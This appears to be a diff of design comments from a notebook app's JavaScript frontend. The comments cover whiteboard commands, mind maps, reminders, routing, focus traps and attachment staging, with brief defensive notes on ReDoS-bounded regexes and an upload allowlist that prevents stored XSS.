+// happened to call `loadReminders()`. So unless you reloaded, or visited that
+// tab, a reminder came due and the interface said nothing at all, forever.
+//
+// Three surfaces now, in increasing order of how much they interrupt:
+//   · the tab badge, as before;
+//   · a count in the document title, which is visible from another tab or a
+//     taskbar without the app being focused;
+//   · a system notification and a toast, once per reminder.
+//
+// The honest limit, stated because the alternative is implying otherwise:
+// none of this fires while the app is closed. A local-first app with no
+// background service cannot wake itself up, and pretending it can would be
+// worse than the gap.
+
+//: 60s, was 30. A reminder is due to the minute, so once a minute is the
+//: granularity the data has; the second poll a minute bought nothing and was
+//: two of the fourteen idle requests PLAN.md P1 counts against.

+//
+// - **Not a second source of truth.** A fired reminder is still a row in the
+//   reminders table; this records that it was announced, and the panel folds
+//   in whatever is *currently* overdue from the server when it opens. So a
+//   reminder that came due while the app was closed is not lost, even though
+//   nothing was running to record it, which is the one case a purely
+//   event-driven log cannot cover.
+// - **Not persisted to the server.** These are ephemeral by nature and there
+//   can be many of them; the notebook's preferences file is not a log.
+// - **Not a promise that anything fires while the app is shut.** A local-first
+//   app with no background service cannot do that, and §36C says so plainly

+// whiteboard-commands.js: every board action by name, in one table
+// (2026-10-05, the features audit's controls redesign, section 9.2 item 1).
+//
+// **Why a table.** The audit found the same action under three names on
+// three surfaces ("Bring forward" in the Arrange menu and the context bar,
+// "Bring to front" on the right-click menu, all three doing the front), Group
+// and Lock missing from the menu that names arranging, and no way to find a
+// board action by typing its name (FEAT-07, FEAT-11, FEAT-19). One row per
+// action, read by every surface that offers it, is what makes those three
+// impossible rather than fixed once:
+//
+// - the Arrange and Edit menus' rows carry `data-wb-cmd` and the lint
+//   (`tests/test_wb_commands.py`) holds each row's words and key to the row
+//   here;
+// - the right-click menu builds its shared rows through `wbCommandMenuRow`;
+// - the command palette's "This board" group is `wbPaletteCommands`;
+// - the shortcut sheet's whiteboard section is `renderWbShortcutSheet`.
+//
+// Standing order 13 made structural: a control renamed here is renamed on
+// every surface, and the help (`ai/help_chat.py`'s whiteboard entry) is
+// checked against the keys by `tests/test_help_controls.py`.
+//
+// **Loaded in the Library bundle after whiteboard.js** (`LAZY_MODULES`,
+// app.js). Its top level declares the table and nothing else; every `run`
+// and `when` reads whiteboard.js's functions at call time. The palette
+// (palette.js) and the shortcut sheet (settings-wiring.js) reach in through
+// `typeof` guards listed in `tests/test_lazy_bundle_calls.py`.

+// whiteboard-format.js: the board's Format panel (2026-10-05, the features
+// audit's controls redesign, section 9.2 item 3; WHITEBOARD_PLAN decision 19).
+//
+// **Why a panel.** The context bar is the quick bar: at most seven controls
+// per kind (decision 11), the ones a person reaches for while working. The
+// long tail (a number for where a thing is and how big, its angle, a flip,
+// how see-through it is, a shadow, the text in a shape, where a connector's
+// label sits) had nowhere to go but more popovers. draw.io keeps all of it
+// in one docked Format panel with three tabs, and so does this: Style, Text
+// and Arrange, on the board's right edge, hidden until asked for (the "..."
+// row on the bar, the View menu, Ctrl+Shift+P, the palette).
+//
+// **One change, one undo step.** Every field writes through `wbFmtApply`,
+// which runs the edit inside `wbRecordGesture`, so a change to five selected
+// shapes is one Ctrl+Z.
+//
+// **The arrange buttons are the command table's** (`WB_COMMANDS`,
+// whiteboard-commands.js): order, align, distribute, same size, group and
+// lock are built from the table's rows, so their names, icons and keys are
+// the menus' and cannot drift.
+//

+// app.js); its top level declares and wires, everything else is read at call

+// Board, History… puts a slider at the foot of the board over its event log
+// (`routes_board_history.py`): drag it back and the board is drawn as it was
+// then, a moment at a time (a moment is a run of changes no longer than two
+// minutes); the two buttons put the whole board back, or only what was
+// selected when History opened, as one Undo step; the X, Esc or the slider's
+// far right end come back to now.
+//
+// **A preview is the real renderer drawing the past.** `wbState` is swapped
+// for the moment's rows and the board renders as usual, so a past board
+// looks exactly like a board, maps included. Nothing may write while it is
+// shown: the board's layers take no pointer (the presenting host class,
+// does), the board's keys are held off (a capture listener, as presenting
+// does), and any write to `/whiteboard/` that slips through is refused
+// before it is sent (`wbHistGuard`), so no path can save a past row over a
+// present one. Closing fetches the board afresh, so whatever changed on it
+// meanwhile (an agent, another tab) is what comes back.

+//   `flowchart` subset people write (rectangles, rounded, diamonds, circles;
+//   `-->`, `---`, `-.->`, `==>`, labels as `|yes|` or `-- yes -->`; chains
+//   and `;`), laid out in rows by depth, placed as shapes and elbow
+//   connectors, one undo step.
+// - **An outline of a free board** (`wbBoardOutline`): its frames in
+//   presentation order, what lies in each in reading order, then the rest;
+//   Markdown a document or another app reads.
+// - **A re-editable SVG**: the board's rows ride in the exported SVG's

+// whiteboard-map.js: the mind map layer (split out of whiteboard.js on
+// 2026-09-24).
+//
+// What is here: a board with a real tree on it (MINDMAP_PLAN.md §5, from
+// Phase 2 on), as one contiguous block moved verbatim out of whiteboard.js:
+// the map's kinds, themes, perspectives, focus, metrics and templates; the
+// node builder and painter; branch drag and drop, transplant and join; the
+// edges (anchors, curves, ribbons, labels, the plus points); editing a map
+// (add, outdent, navigate, delete); tidy (Reingold-Tilford with variable
+// node sizes); the cross-link tool; the edit strip; the node and link radial
+// menus; and the map's chrome, layout and pin-on-drag. No function was
+// renamed and none changed.
+//
+// What stayed in whiteboard.js: the concept map (`wbArrangeMindMap` and the
+// `wbMindMap*` helpers just above where this block was, which work on cards
+// joined by link sketches, a different data model: see this file's own
+// "maps:" section comment), the selection, the object renderer that calls
+// into this file, and `initWhiteboard`, which wires the map's controls.
+//
+// **Loaded in the Library bundle, before whiteboard.js** (`LAZY_MODULES` in
+// app.js), for the reason documents-code.js gives: measured with a scope
+// analysis of both files, this file's top level reads nothing from
+// whiteboard.js (declarations, tables, `window.wbMapState = null` and two
+// window listeners that clear this file's own cache), while whiteboard.js's
+// top-level wiring names functions defined here. Listed first, every one of
+// them exists before whiteboard.js runs.
+
+// --- maps: a board with a real tree on it (MINDMAP_PLAN.md §5, Phase 2) -----
+//
+// The backend half (§9) already stores, serves and exports all of this. Until
+// this section existed the object renderer drew only `image` and `text`, so a
+// map's nodes were in the database, in `GET /tree` and in every export except
+// the one place anyone would look for them, the canvas. That is the blocker
+// §9.3 names, and everything below is the frontend half of it.
+//
+// **This is not `wbArrangeMindMap` in whiteboard.js.** That is the concept
+// map: whiteboard *cards* (a card is a real note) joined by link sketches,
+// with a spanning tree inferred by BFS because a link carries no direction. A
+// map node is a `WhiteboardObject` with a real `parent_id`, so its tree is
+// stored rather than guessed, and a `topic` can exist with no note behind it.
+// MINDMAP_PLAN.md §9.2 records why the two data models stayed separate. They
+// share a canvas and nothing else, and neither function here calls that one.
+
+//: The object kinds that are map nodes. `topic` is text that lives only on
+//: the map; the other four are pointers at library items, drawn with that
+//: item's own icon and its *resolved* title, never a copy of it, since a

+//: `role="toolbar"` is what a screen reader can do something useful with.
+//: (It is also why this adds no hand-built `role="menu"`, which
+//: `tests/test_ui_recipes.py` counts.)

+//: than on whatever is selected now.

+//: the ones nearest an edge, and a ring around one of those lost two or
+//: three of its eight slots off-screen: the control was least reachable
+//: where it was most needed.
+//:
+//: **Why the whole ring moves, rather than the slots being rotated or
+//: reflected into the room that is left.** A ring of eight slots at 45
+//: degrees is its own reflection in both axes and its own rotation by any
+//: multiple of 45, so neither of those changes which directions are covered:
+//: whatever angle the ring is turned through, some slot still points at the
+//: nearest edge, and at 22.5 degrees (the most any rotation can buy) a slot

+//: in their own places and in their own order, and a shift is bounded by the
+//: ring's own reach (82px), which is less than a topic is wide: the ring
+//: still reads as belonging to the node it came from.

+// MemoryMap AI: Whiteboard subsystem (extracted from app.js).
+//
+// This is the "Whiteboard" tab: boards, cards, sketches-as-objects, links,
+// mind-mapping, export: the OneNote/draw.io-style canvas built across
+// HISTORY.md §53-§58/§61 (ROADMAP.md Priority 0 item 2; style.css's half of
+// that item was split first, into frontend/css/*.css).
+//
+// Loaded as a second classic (non-module) <script> tag, after app.js, so it
+// shares app.js's global scope: everything here can call `$`, `api`,
+// `apiJson`, `toast`, `switchTab`, `confirmDialog`, `openSketch` (the
+// separate Quick Sketch modal, see below) and the rest of app.js's helpers
+// directly, and app.js's command palette calls `createNewBoard`/
+// `wbShowCanvasView` right back. None of that requires a particular load
+// order: every cross-file call here happens at runtime, inside a function
+// body or an event-listener callback, never at parse time. app.js loads
+// first only because this file's own top-level code (the `wbZoom = d3.zoom()`
+// assignment) needs `d3` from /vendor/d3.v7.min.js, which the existing
+// script order already guarantees, nothing here needs app.js to have run
+// first.
+//
+// NOT included here: the "Quick Sketch" pad (`openSketch`/`closeSketch`/
+// `saveSketch`/`sketchPen`/... and the `#sketch-*` DOM ids), which stayed in
+// app.js. It looks related by name, the task that produced this split
+// flagged it explicitly for a call, but it is a separate, still-live Wave F
+// ("Platform") feature: a full-screen freehand pad that saves a PNG as a
+// note, reachable from the command palette and the floating action menu,
+// unrelated by call graph to the board/card system below except that the
+// whiteboard toolbar's "Add sketch" button opens it (`openSketch()`, called
+// at runtime from `initWhiteboard`). Moving it here would have been a scope
+// mistake, not a cleanup, so it was left where it was.
+//
+// ALSO NOT included here any more: the Library's Documents/Image-Gallery
+// sub-tabs, their own selection state, and the `#library-subtabs` switcher: 
+// all genuinely Library-owned code (they switch and populate OTHER Library
+// sub-tabs, not this one) that had ended up in this file's own
+// DOMContentLoaded listener purely because it was written in the same block
+// as this tab's own two controls (`wb-boards-new`/`wb-back-to-boards`,
+// still below). Moved out to frontend/js/library.js in the app.js split's
+// second file (§88.3); see that file's own header for the full list and the
+// reasoning. `renderLibraryBoardsGallery`/`wbShowBoardsLanding`/
+// `wbShowCanvasView` stayed: they render and switch between *this* tab's
+// own two views (a boards gallery and the canvas), which is whiteboard's own
+// concern even though the gallery happens to live inside the Library's
+// Whiteboard sub-tab.
+
+// ======================= WHITEBOARD LOGIC =======================
+// **Held-space panning, middle-mouse panning, and wheel zoom from every
+// tool.** Reported directly: "the whiteboard is really annoying to use with
+// the tools, I'm constantly having to switch between tools to select and move
+// around."
+//
+// That was structural rather than a missing shortcut. Panning *was* a tool, 
+// you pressed V to pan and S to select, and `selectWbTool` disabled the zoom
+// behaviour outright for every other tool (`container.on(".zoom", null)`),
+// which also took **wheel zoom** with it. So while drawing you could neither
+// scroll the canvas nor zoom it without first changing tool and then changing
+// back.
+//
+// Every drawing app people already know (Figma, Excalidraw, tldraw) solves
+// this the same way, and it is a filter rather than a mode: the zoom
+// behaviour stays attached at all times, and decides per-event whether a
+// gesture is a pan. Held space or the middle mouse button pans from *any*
+// tool; a plain left-drag only pans when Pan is genuinely the active tool, so
+// drawing, the marquee and lasso are untouched.

+//: card was its own composited layer while `svg#wb-svg-layer`, which holds
+//: every shape, line and stroke, was not in the layer list at all. So a pan

+//:
+//: The transform therefore has to sit on an element that *can* be composited,

+//: The map creates well, a root card, selected, and a toast naming Tab and
+//: Enter. Then the toast goes, and the board says nothing at all about the
+//: three gestures that *are* the feature. Everything else here is discoverable
+//: by pointing at it; these are keys, and a key you were told about once is a
+//: key you do not have.
+//:
+//: Two rules, both from the capture box's own hint: teach at the moment it
+//: applies, and never nag. So it shows while the board is still small enough
+//: to be starting (a map you have built out has taught you these already), and
+//: dismissing it is permanent.
+const WB_GESTURES_DISMISSED = "wbGesturesDismissed";

+
+//: **Only while a card is selected, and never on a mind map** (the map UX
+//: remainder, OPEN.md: "the keyboard hint strip sits over the canvas across
+//: the bottom and covers content"). Measured before: on a map it counted
+//: note cards, of which a map has none, so it stood over the bottom of every

+//: a selected topic's ring prints "Tab adds a child, Enter one beside, C
+//: folds, Delete removes", and the rail's ? lists every key. So on a map the

+/** A new concept map: a board that opens with a core idea on it, selected
+ *  and ready to branch from.
+ *
+ *  Asked for directly: "I want ways to make custom knowledge graphs that are
+ *  like mindmaps where I can add and remove nodes, move them around, change
+ *  how they connect and reasons, and just make my own thought process map",
+ *  and on where it belongs, "I should be able to make and manage map graphs
+ *  (maybe in library??)".
+ *
+ *  **Deliberately not a new canvas.** Everything a concept map needs already
+ *  exists on the whiteboard, freely placed cards whose positions persist, a
+ *  link tool, `Tab` for a new branch off the selected card and `Enter` for a
+ *  sibling, "Arrange as mind map" to re-tidy, pan/zoom, undo, spaces,
+ *  export. A parallel implementation would have been a second set of all of
+ *  that, immediately behind on every fix either one got.
+ *
+ *  So what this adds is the three things that were actually missing, and
+ *  they are all about *entry*:
+ *
+ *  1. **A name.** Nothing in the app said the words "concept map", so the
+ *     feature was reachable only through a button called "New board" on a
+ *     tab called Whiteboards. A feature nobody can name is a feature nobody
+ *     finds: reported as missing while fully built.
+ *  2. **A root.** An empty board is a blank rectangle; `Tab` and `Enter` do
+ *     nothing until something is selected, so the one gesture that makes
+ *     this a mind map was unreachable from the state the board opens in.
+ *  3. **The gestures, said out loud, once**, at the moment they apply.
+ *
+ *  The map is a board, so a concept map exported to the whiteboard is a
+ *  concept map: which closes the "maybe with a way to export that into a
+ *  visual diagram on the whiteboard" half of the ask by construction rather
+ *  than by building an exporter.

-
-// --- one map chip and one map preview, used everywhere ----------------------
-//
-//: MINDMAP_PLAN.md §5 item 12, and the sentence in it that is the whole
-//: reason this exists: *"One `mapChip()` and one `mapPreview()`, used by all
-//: of them: the app's recurring failure is the same object drawn five
-//: ways."*
-//:
-//: It had already happened twice before this was written. The Library's board
-//: card (`renderLibraryBoardsGallery`, whiteboard.js) drew the minimap with
-//: edges, labels, a sketch squiggle and an edge-aware label side; the
-//: dashboard's boards widget (`dashBoardThumb`, dashboard.js) drew the *same*
-//: `preview_items` at a different scale with **no edges at all**, so the one
-//: fact that distinguishes a map from a board was missing from one of the two
-//: places a map appears. Neither was wrong on its own; they were two opinions
-//: of one picture.
-//:
-//: Lives in app.js because five files draw these, whiteboard.js, dashboard.js,
-//: the timeline and the note renderer here, and the chat transcript, and
-//: app.js is the one loaded before all of them (see index.html's script
-//: order).
-
-//: The sizes a preview is ever drawn at. A named size rather than a pair of
-//: numbers per call site: "the Library card's minimap" and "the dashboard
-//: row's thumbnail" are the two real cases, and letting each caller pass its
-//: own geometry is how the two drifted apart in the first place.
-//:
-//: `labels` is off at row size deliberately. Sixteen characters beside a 9×6
-//: block is a legible texture in a 100×56 card; the same text in a 40×40
-//: thumbnail is a smear.
-//:
-//: `w`/`h` are the *box the picture is letterboxed into*, not the viewBox:
-//: since the drawing is now made at the board's own ratio, the two are the
-//: same only for a board that happens to be shaped like the card. Everything
-//: else here (`pad`, `blockW`, `blockH`, `font`) is a size in that box, and
-//: `mapPreview` divides each of them by the scale the browser is about to
-//: apply, so a node in a tall map is drawn the same number of pixels across
-//: as a node in a wide one. Without that division the block sizes are in
-//: viewBox units and a square board's nodes come out 44% smaller than a wide
-//: board's, for no reason a reader could see.
-const MAP_PREVIEW_SIZES = {

-//: came out 52.9x24.7 with a rendered corner radius of 8.66px, which is 35% of
-//: its own short side. A rectangle whose corners eat a third of its height is

-//: corner on a 25px-tall block in a Library card and a pill on a 4px one in a
-//: dashboard row. It is divided back out by the box's own scale below, so the
-//: corner is the same size whatever shape the board is, and the fraction is
-//: left as the floor for a block too small to carry it.
-//:
-//: The nominal box is not pixels: a `card` is 100x56 here and measured 293.5px

-//: measurement. An estimate that is 0.55 when the font draws wider puts the
-//: text past the room it was budgeted, and the budget is what every later
-//: decision is made from: measured on a seeded board, "body text" was
-//: budgeted into a margin and painted 20.0 units wide starting at x=100.1 in

-//: One hidden SVG for the whole page, carrying `.board-minimap` so the

-//: element in a rendered tree, which a freshly built preview is not, hence a
-//: measuring element rather than the label itself.
-//:
-//: Measured once per distinct string at size 100 and divided back out, so a
-//: board's six titles cost six measurements however many previews of it are
-//: on screen, and a title that appears in the dashboard widget and in the

-// Order matters: code spans are matched first and their contents are never

-// `handleFileUpload`), and until now nothing in the note-card list rendered
-// either form at all, so it showed as the literal markdown source, brackets
-// and all. Both accept a same-origin relative URL as well as `https?://`:
-// unlike `appendInline`'s own link pattern (chat/documents, which only ever
-// links *out*), a note's images live at `/media/...` on this same server.
-//
-// **The two link/image alternatives are length-bounded, and that is not
-// cosmetic.** `\[([^\]\n]+)\]\(...\)` against text with an unclosed `[`
-// makes the engine consume to the end of the line and back off one
-// character at a time looking for a `]` that isn't there: once per start
-// position, so O(n²) on a note that is entirely user-controlled text. That
-// is CodeQL's `js/polynomial-redos`, and this file's own `[[wiki link]]`
-// pattern already bounds itself (`{1,120}`) for exactly this reason. The
-// caps are far past any real link (200 characters of link text, 500 of
-// URL) and turn the per-position work into a constant.
-// `==highlighted text==`, asked for directly ("a highlighting text
-// feature in notes and documents"). An inline markdown convention, not a
-// new data model: the same choice every other bit of note formatting here
-// already made (**bold**, ~~strike~~, [[wiki links]]): a highlight is
-// still just characters in the note's own plain-text `content`, so it
-// needs no new column, no span-range table, and works everywhere that
-// content already goes (search, the AI's own reading of a note, export).
-// Bounded the same way `~~…~~` is (excludes its own delimiter and `\n`
-// inside the class) rather than the link/image alternatives' explicit
-// length caps: the reason those need one (an unbounded `[^\]\n]+` against
-// unclosed `[` is O(n²), CodeQL's js/polynomial-redos) doesn't apply to a
-// class that already excludes its own closing character.
-// The colour set here is the same eight the toolbars offer (MD_COLOURS in
-// documents.js) and the same eight that have stylesheet rules. Keeping the
-// three in step matters: this listed only six for a while, so picking Red or
-// Grey from the highlight menu wrote `==red|text==`, the optional-colour group
-// declined to match "red|", and the note rendered the literal text "red|text"
-// in a yellow highlight. Adding a colour means all three, or the new one

-//     cells) pass false: there is no note markdown line for a "remove this
-//     image" click to edit there, so they get a plain <img>.
-//   - `autolinkBareUrls` (default false): turn a plain `https://…` run into
-//     a real link. Off for note cards (unchanged), on for appendInline.
-//   - `underscoreSyntax` (default false): also recognize `__bold__`/
-//     `_italic_` and bare-URL autolinking, using INLINE_MD_LEGACY instead of
-//     INLINE_MD: see that constant's comment for why this is a second
-//     literal pattern rather than a superset with the extra alternatives
-//     suppressed after matching.
-//   - `strikeTag` (default "s"): appendInline's callers always used <del>,
-//     not the note-card renderer's <s>; style.css has separate rules for
-//     `.entry-content s` vs `.answer/.bubble-answer/.dash-body del`.
-//   - `applyLatex` (default true): appendInline never ran unlatex() on its
-//     text, so it stays off for that mode to keep behaviour unchanged.
-// Every default matches renderInlineMarkdown's original, options-less
-// behaviour exactly, so no existing call site needs to change.

-// --- incremental list rendering (ROADMAP §85.4 items 3 and 4) ---------------
-//
-// **The problem this solves, measured rather than assumed.** Four of this
-// app's lists: the Notes list, the Library grid, the Timeline, the log
-// console: built one DOM node per record for the *entire* collection, with
-// no cap and no windowing. At 1,501 notes `renderEntries()` took ~533ms, and
-// it re-runs on every search keystroke, sort change, filter and save.
-//
-// **Why chunk-on-scroll rather than true virtualisation.** Real
-// virtualisation (absolute positioning against a scroll offset) needs to know
-// each row's height before it renders one. Every list here has variable
-// heights: a note card grows with its text, its tags, its attachments and
-// whether its inline actions are open, so a virtualiser would either need
-// measurement passes that cost what it saves, or fixed heights the design
-// does not have. Rendering in chunks as the end of the list approaches keeps
-// the DOM proportional to what has been *scrolled past* rather than to the
-// notebook, needs no height information at all, and leaves the list one
-// continuous scroll rather than turning it into pages, which is the
-// distinction BACKLOG §77 draws and deliberately asks for.
-//
-// **The honest trade:** the browser's own Ctrl+F cannot find text in a chunk
-// that has not rendered yet. That is a real loss, and it is why `initial` is
-// generous rather than minimal, a screenful and change is always present , 
-// and why it is applied to lists that have their own search box sitting
-// directly above them. It is not applied anywhere that the browser's find is
-// the only way through.
-//
-// `root: null` (the viewport) rather than the scroll container: an element
-// inside the scrolled-away part of a *nested* scroller is not intersecting
-// the viewport either, so one observer is correct for both a page-level and a
-// container-level scroll, without having to find which one this list is in.

-// router.js: every view has an address (WORLD_CLASS_PLAN 22.1 item 1).
-//
-// "No URLs. Every view is `/`. Reload always lands on the Dashboard, the
-// browser's Back leaves the app, a note or chat cannot be linked or
-// bookmarked, and `document.title` never names the view." This file gives
-// each view a hash (`#/notes/12`, `#/chat/45`, `#/docs/7`, `#/library/images`,
-// `#/settings/appearance`) and keeps three things in step:
-//
-//   - navigation.js's own back stack, which stays the source of truth for
-//     what a step *is* (a tab, a sub-tab, a document, a board) and how to go
-//     back to one (`openHistoryEntry`). Its comment explains why pushState was
-//     refused ("Back would walk out of the app on the first press past the
-//     start"); that was right with no router, and the answer here is that the
-//     browser's entries are now this app's own views, each carrying the id of
-//     the stack entry it mirrors, so the browser's Back and the in-app Back
-//     are one walk through one list;
-//   - the address bar: a new view is pushed, a refinement of the same view
-//     (a sub-tab settling, a note's title arriving) replaces;
-//   - the window title: "Half marathon, week 4 · Notes · MemoryMap AI".
-//
-// `popstate` drives navigation: the in-app Back and Forward call
-// `history.go`, the browser answers with `popstate`, and this file opens the
-// entry that state names. A hash with no entry behind it (a pasted link, a
-// bookmark, one typed by hand) is opened as a fresh visit. A hash that is not
-// a route at all (a document's heading anchor, `#intro`) is left alone.

-// --- landing on the feature a catalogue row names ----------------------------
-//
-// The owner, 2026-09-24: "I clicked on the "suggested links" option in the
-// tools and features panel and all it did was take me to the graph page, it
-// didnt actually open the menu option for suggested links in the graph like it
-// should have." Measured: of the 110 written rows in Tools and features, 50
-// switched tab (or opened the Library sub-tab, or a Settings pane) and stopped
-// there while naming one control on it, and the palette's two board rows did
-// nothing at all unless a board was already open. Each row was a hand-written
-// closure, and `switchTab("graph")` is the shortest closure that looks like it
-// works.
-//
-// So a row declares where it goes instead (`tests/test_catalogue_reveal.py`
-// has the three forms), and every row that names something smaller than a
-// tab names one entry here. `revealFeature` does the same five things for
-// each: the tab, the lazy bundle, the menu or panel or dialog the control is
-// in, a wait until the control is really on screen, and the app's own
-// jump-to highlight on it (`flashRevealed`, the ring `flashEntry` and a
-// Settings deep link already wear), so the eye lands where the row said.
-//
-// A target is `{ tab?, settings?, module?, open?, el | sel+built, text?,
-// focus?, flash?, fallback? }`: `el` is an id in index.html, `sel` a selector
-// for something built at runtime by the function `built` names (with `{arg}`
-// filled in from the row), `text` picks a menu row by its words, and
-// `fallback` is what is ringed instead when the feature needs something the
-// notebook does not have yet (a board to find a card on, a document to set a
-// word goal for): the control that makes one, rather than a row that does
-// nothing.
-
-//: Resolves to the element once it is on screen (a layout box, not hidden),
-//: or null when it has not arrived in `ms`. Polled rather than observed: the
-//: things waited for arrive by a tab's module loading, a fetch, a render on
-//: the next frame or a dialog's own animation, and a poll is one answer to
-//: all four.

-// audit counted the dialogs it did not name: `confirmDialog`, `promptDialog`,
-// the image lightbox, the note-history overlay, the recycle-bin overlay, the
-// skill-run overlay, the agent command palette, and the graph's
-// connection dialog: eight trapped, eight not, and nothing anywhere to say
-// which half a new dialog would land in. Every one of those was added by
-// somebody who had no reason to know this list existed, which is the whole
-// failure: a registry you must remember to update is a registry that goes
-// stale, and it goes stale silently, because a dialog with no focus trap
-// looks completely normal until somebody presses Tab.
-//
-// So: ask the DOM instead, and ask it the question that actually matters, 
-// **`aria-modal="true"`, not merely `role="dialog"`.** That distinction is the
-// whole correctness of this function. Of the 27 `role="dialog"` elements in
-// `index.html`, 13 are anchored *popovers* rather than modals: the
-// notifications panel, the note picker, the chat dock's disclosure, the graph
-// and timeline popups, and the six `*-intro` help panels. The page behind
-// those stays live and interactive by design, so trapping Tab inside one
-// would strand the user in a dropdown, and telling a screen reader they are
-// modal would be a straight lie about the page. `aria-modal` is exactly the
-// declaration of "everything else is inert", so a dialog that wants a focus
-// trap says so in the one attribute that already means it, and a new modal is
-// trapped from the moment it exists.
-//
-// Topmost wins, and "topmost" is document order: the static overlays sit in
-// `index.html` in a fixed sequence, and the dynamic ones (`confirmDialog` and
-// friends) are appended to `<body>`, so the last match is always the one
-// stacked on top. That matters for the real case of a confirm dialog opened
-// from inside Settings: Tab has to cycle within the confirm, not the modal
-// behind it.
-//
-// Visibility is `.hidden` plus `getClientRects()`, deliberately not
-// `offsetParent !== null`: `.modal-overlay` is `position: fixed`, and a fixed
-// element's `offsetParent` is null even when it is plainly on screen. The

-//: next keystroke, so there is no click it could steal that was meant for
-//: anything else. The owner, looking at it: "also make these popup options
-//: when I press m, actual clickable nav buttons".
-//:
-//: They read as buttons because they are shaped like them, which is the real
-//: argument: a pill with a label and a key chip in it is a control, and one
-//: that ignores the pointer is a control that is broken. The keys still work
-//: exactly as they did, and each row now carries the same action its key
-//: fires, from the same two tables, so the two ways in cannot drift.
-//:
-//: The scrim stays click-through-to-close: a click that lands on the dimmed
-//: page rather than on a row means "not this", which is what Escape and a
-//: second `m` already mean. `role="status"` and `aria-live` stay, so a screen

-//: Files waiting to become attachments on a note that does not exist yet.
-//:
-//: **Why staging rather than uploading immediately.** `/media/upload`, the
-//: only endpoint the composer could reach, accepts nine image types and
-//: `.pdf`, and that allowlist is not paranoia to widen: `/media/{name}`
-//: serves inline from the app's own origin, so an `.html` or `.svg` landing
-//: there is stored XSS, and the AI can write to that folder too. So a
-//: `.docx`, a `.txt` or a code file dropped into the composer got a 415 and
-//: a red toast, while **the same file attached fine to an already-saved
-//: note** through `POST /entries/{id}/files`, whose allowlist covers about
-//: sixty types precisely because attachments are served as downloads.
-//:
-//: The difference was never the file. It was that the composer has no note
-//: id yet. So the file waits here until Save produces one, and then takes
-//: the attachment path it should have taken all along, which also gets it
-//: a real row, a card with a delete button, and a place in the Library.
-//:
-//: Images are deliberately *not* staged: an image in the middle of a
-//: paragraph is content, and it needs to be inline markdown at the point in
-//: the text where it was dropped, not an attachment at the bottom.
-
-//: **Images wait for the note too now.**
-//:
-//: The composer used to `POST /media/upload` the moment a picture was dropped
-//: or pasted, and the comment above explained why that was different from the
-//: files beside it: an image is *content*, it has to land as inline markdown
-//: at the point in the text where it was dropped. That is still true, and it
-//: was never a reason for the file to survive a note nobody saved. Every
-//: abandoned draft with a pasted screenshot left a row in the Library and a
-//: file on disk, which is exactly the leak asked about: "files should only be
-//: staged and not permanently saved while uploaded to a note that hasnt been
-//: saved yet".
-//:
-//: So the markdown goes in immediately, pointing at a `staged:<key>` url the
-//: renderer resolves to the local Blob, and Save swaps every one of those for
-//: the real `/media/...` url the upload returns. The bytes never leave the
-//: browser until there is a note to attach them to.
-//: Swap every `staged:<key>` for the url its upload produced. A pure string

-// --- toasts (Phase 5) ---------------------------------------------------------------
-
-// --- reminders you actually notice (§36C) ------------------------------------------
-//
-// Reported: "reminders when they go off aren't really noticeable and need to be
-// more evident, maybe through a browser or system/app notification?"
-//
-// The reason they were unnoticeable is simpler than it sounds: **nothing
-// checked.** A reminder's only surface was a small badge on the Reminders tab
-// button, painted by `updateReminderBadge`, which only ran when something
-// happened to call `loadReminders()`. So unless you reloaded, or visited that
-// tab, a reminder came due and the interface said nothing at all, forever.
-//
-// Three surfaces now, in increasing order of how much they interrupt:
-//   · the tab badge, as before;
-//   · a count in the document title, which is visible from another tab or a
-//     taskbar without the app being focused;
-//   · a system notification and a toast, once per reminder.
-//
-// The honest limit, stated because the alternative is implying otherwise:
-// none of this fires while the app is closed. A local-first app with no
-// background service cannot wake itself up, and pretending it can would be
-// worse than the gap.
-
-//: 60s, was 30. A reminder is due to the minute, so once a minute is the
-//: granularity the data has; the second poll a minute bought nothing and was
-//: two of the fourteen idle requests PLAN.md P1 counts against.
-const REMINDER_POLL_MS = 60_000;
-//: Which reminders have already been announced, so a once-a-minute poll does not

-//
-// MemoryMap already *produces* all of these events, a reminder comes due, a

-// own way: a system notification, a toast, a status pill, a step timeline.
-// Every one of those is a moment. Miss the moment and the event is gone.
-//
-// This is the place they persist after their moment has passed, which is the
-// whole of what §36E asks for. Three things it is deliberately *not*:
-//
-// - **Not a second source of truth.** A fired reminder is still a row in the
-//   reminders table; this records that it was announced, and the panel folds
-//   in whatever is *currently* overdue from the server when it opens. So a
-//   reminder that came due while the app was closed is not lost, even though
-//   nothing was running to record it, which is the one case a purely
-//   event-driven log cannot cover.
-// - **Not persisted to the server.** These are ephemeral by nature and there
-//   can be many of them; the notebook's preferences file is not a log.
-// - **Not a promise that anything fires while the app is shut.** A local-first
-//   app with no background service cannot do that, and §36C says so plainly
-//   rather than implying otherwise.

-//: (`improve-retry`, `extract-commit`, `doc-ai-run`, `wb-boards-generate`)
-//: stayed live with no model, as did Chat's own field and Send and the

-//:

-//: Deliberately NOT marked: Save, Ask, search, tags, categories, the graph,

-//: without any AI and must never look diminished by its absence, the notebook
-//: is the point and the AI is a helper; Ask in particular falls back to the

-// whiteboard-map.js: the mind map layer (split out of whiteboard.js on
-// 2026-09-24).
-//
-// What is here: a board with a real tree on it (MINDMAP_PLAN.md §5, from
-// Phase 2 on), as one contiguous block moved verbatim out of whiteboard.js:
-// the map's kinds, themes, perspectives, focus, metrics and templates; the
-// node builder and painter; branch drag and drop, transplant and join; the
-// edges (anchors, curves, ribbons, labels, the plus points); editing a map
-// (add, outdent, navigate, delete); tidy (Reingold-Tilford with variable
-// node sizes); the cross-link tool; the edit strip; the node and link radial
-// menus; and the map's chrome, layout and pin-on-drag. No function was
-// renamed and none changed.
-//
-// What stayed in whiteboard.js: the concept map (`wbArrangeMindMap` and the
-// `wbMindMap*` helpers just above where this block was, which work on cards
-// joined by link sketches, a different data model: see this file's own
-// "maps:" section comment), the selection, the object renderer that calls
-// into this file, and `initWhiteboard`, which wires the map's controls.
-//
-// **Loaded in the Library bundle, before whiteboard.js** (`LAZY_MODULES` in
-// app.js), for the reason documents-code.js gives: measured with a scope
-// analysis of both files, this file's top level reads nothing from
-// whiteboard.js (declarations, tables, `window.wbMapState = null` and two
-// window listeners that clear this file's own cache), while whiteboard.js's
-// top-level wiring names functions defined here. Listed first, every one of
-// them exists before whiteboard.js runs.
-
-// --- maps: a board with a real tree on it (MINDMAP_PLAN.md §5, Phase 2) -----
-//
-// The backend half (§9) already stores, serves and exports all of this. Until
-// this section existed the object renderer drew only `image` and `text`, so a
-// map's nodes were in the database, in `GET /tree` and in every export except
-// the one place anyone would look for them, the canvas. That is the blocker
